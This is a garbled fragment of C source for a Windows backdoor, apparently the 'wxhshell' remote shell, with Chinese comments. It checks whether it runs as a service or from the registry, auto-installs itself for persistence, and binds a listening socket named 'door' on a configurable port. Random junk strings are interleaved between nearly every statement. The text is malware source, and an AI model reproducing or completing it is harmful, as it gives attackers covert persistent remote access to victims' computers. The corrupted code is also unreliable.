KBLM2D unsigned long cbNeeded; ?}bSQ)b ey@y?X= if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); R84g< -9\O$ I-3 CloseHandle(hProcess); Ds$FO}KD{ B$_F)2%m; if(strstr(procName,"services")) return 1; // 以服务启动 TdG[b1xN
v6;XxBR6 return 0; // 注册表启动 :$j!e#?= } >{$;O coiTVDwA // 主模块 }ZlJ int StartWxhshell(LPSTR lpCmdLine) ^7vhize { ?20y6c < SOCKET wsl; [p_R?2uT BOOL val=TRUE; X_!Sm int port=0; wwmMpK}f struct sockaddr_in door; GK2IY MuO7_*q'n if(wscfg.ws_autoins) Install(); 4cTJ$" v 2P"@=bYT " port=atoi(lpCmdLine); *Iyv${ 76
# if(port<=0) port=wscfg.ws_port; t>
-cTQm Bm;{dO WSADATA data; VgN`'
iC`I if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; f8B*D4R} '[{M"S if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; Xb&r|pR setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); sO~N2 door.sin_family = AF_INET; \Llrs-0 M door.sin_addr.s_addr = inet_addr("127.0.0.1"); oy;N3 door.sin_port = htons(port); cJGA5m/{I na?jCq9C if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { U3&*,xeU@H closesocket(wsl); jCtl
] return 1; t9zPJQlT} } +d2+w1o^V < |